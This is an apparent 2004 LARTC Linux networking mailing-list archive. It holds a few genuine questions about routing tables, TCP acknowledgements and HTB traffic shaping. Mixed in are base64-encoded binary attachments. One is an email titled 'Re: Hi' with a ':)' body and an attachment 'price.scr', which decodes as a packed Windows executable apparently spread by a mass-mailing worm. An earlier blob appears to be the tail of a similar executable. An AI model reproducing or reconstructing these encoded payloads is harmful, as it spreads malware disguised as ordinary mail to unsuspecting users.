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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAIAAwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACA
AAAAAAAAAAAAAAAAAAABAAAAAABYAAAA0PAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AQAAAAAAgAAAALjzAAAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAKgAAIAAAAAA
AAAAAAAAAAAAAAEAAAAAAMAAAADg9AAAIgAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAA
AAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAA
gICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAiIAA
AAAAAAAIiAAAAAAACAAAAAAAAAAAAACAAAAAAIAAiAAAAAAAAIgACAAAAAAACAAAAAAAAAAA
gAAAAAAAAAAAAAB/CIAAAAAAAAAAAAAAAAB/B/AAAAAAAAAAAAAAAAB/B/Bwd4gAAAAAAAAA
AAD/B/B/B/AAAAAAAAAAAAAAD/B/AH//d4gAAAAAAAAAAPAHAH//9wAAAAAAAAAAAA//////
/3B3dwAAAAAAAAB///9wAHcH//eAAAAAAAAgf///D/cAf///eAgAAAACIHf///D///////B3
CAAAAiIHf///D/////8LsIiAAgIiIHcAAAAAAAjwuwh4iCIgIiIAAAAAAAAAC7CHh4giIgIi
IAAAAAAAALsHeHh4IiIgIgAAAAAAAAgA93eHhyIiIgAAAAAAAAAAj393eHAiIiIAAAAAAAAA
Bwf393eAIiIiAAAAAAAAAAAPf393cAIiIAAAAAAAAAAAcPf39wACIiAAAAAAAAAAAAB/f3AA
AiIAAAAAAAAAAAAHB/cAAAAiAAAAAAAAAAAAAA9/cAAAIAAAAAAAAAAAAABw9wAAACAAAAAA
AAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAP/////8f/4/+///3/c//O/+/B9///AP///AA///AAH//gAA//4AAH/+AAB//AAAf/AA
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
I0o2JbwYNL6Vs8EUDV4HdZtpXsd1Jw==

----------nwncteqkdwmueziykock--


From gdamjan@mail.net.mk  Wed Nov 10 21:21:06 2004
From: gdamjan@mail.net.mk (Damjan)
Date: Wed, 10 Nov 2004 22:21:06 +0100
Subject: [LARTC] command to list ip route tables
Message-ID: <20041110212106.GC11588@legolas.on.net.mk>

In linux one can have several route tables. But how do I list the 
route tables?

(and no 'ip rule list' is not it)

-- 
damjan | дамјан
This is my jabber ID --> damjan@bagra.net.mk <-- not my mail address!!!

From gdamjan@mail.net.mk  Wed Nov 10 21:24:49 2004
From: gdamjan@mail.net.mk (Damjan)
Date: Wed, 10 Nov 2004 22:24:49 +0100
Subject: [LARTC] maybe OT, Linux TCP programming
Message-ID: <20041110212449.GD11588@legolas.on.net.mk>

Is there a way in Linux socket programming, when using TCP sockets to be
able to require notifications of when the TCP ACK packets are received.

If I send some data over a TCP socket, I'd like to know for sure 
if the data reached its recipient. A blocking "send" call, that blocks
until all ACK's for the data are received back, would be good enough.

-- 
damjan | дамјан
This is my jabber ID --> damjan@bagra.net.mk <-- not my mail address!!!

From drinklinux@yahoo.com  Fri Nov 12 03:56:22 2004
From: drinklinux@yahoo.com (Drink Linux)
Date: Thu, 11 Nov 2004 19:56:22 -0800 (PST)
Subject: [LARTC] htb , tcp over udp problem
Message-ID: <20041112035622.91901.qmail@web50309.mail.yahoo.com>

hello

i have 

1:10 for tcp prio 1 
1:20 for udp prio 0
       
under same parent, it works perfectly but if i decided
to make 1:10 for all ... then voip gets slow ...

i have also tried to attatched 1:20 with two more
class, 
1 prio for normal udp
0 prio for voip   udp ... still voip gets slow ....

i have even tried to used with iptables and tried
different combinations still ...


anyone can help or explain about tcp vs. udp 

thanks










		
__________________________________ 
Do you Yahoo!? 
Check out the new Yahoo! Front Page. 
www.yahoo.com 
 


From util@deuroconsult.ro  Fri Nov 12 11:26:53 2004
From: util@deuroconsult.ro (Util)
Date: Fri, 12 Nov 2004 12:26:53 +0100
Subject: [LARTC] Re: Hi
Message-ID: <rcaqklfwaphxyhnlmcd@mailman.ds9a.nl>

----------khrvsbqueqwmzlttwfog
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:)

<br>
</body></html>

----------khrvsbqueqwmzlttwfog
Content-Type: application/octet-stream; name="price.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="price.scr"

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA
ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAA6B0BAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAA6C0AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAA6C0AAADw
AADoLQAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA
6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb
aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr
As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo
AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC
KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo
AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE
UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA
cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ
6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS
w+slNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP//
/3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFp
WFj/4FlSVY2F2iJAAFArwGT/MGSJIOsDx4ToUcPrA8eEmllB6/AAAAAAAAAAAOCiAAAAAAAA
AAAAAPiiAADgogAA2KIAAAAAAAAAAAAABaMAANiiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFuj
AAAAAAAAEKMAACGjAAAwowAAPqMAAE2jAAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwA
AABHZXRQcm9jQWRkcmVzcwAAAExvYWRMaWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVh
bEFsbG9jAAAAVmlydHVhbEZyZWUAAABNZXNzYWdlQm94QQAAAAAAOOPsgmcZU9rvqSegZqhi
3GHFZPb1lPM0F85JitM9UFESsYF8QP/EiezhkOVdRRXCPcj/Im/5FKV1/mqpkw3yKvte95dg
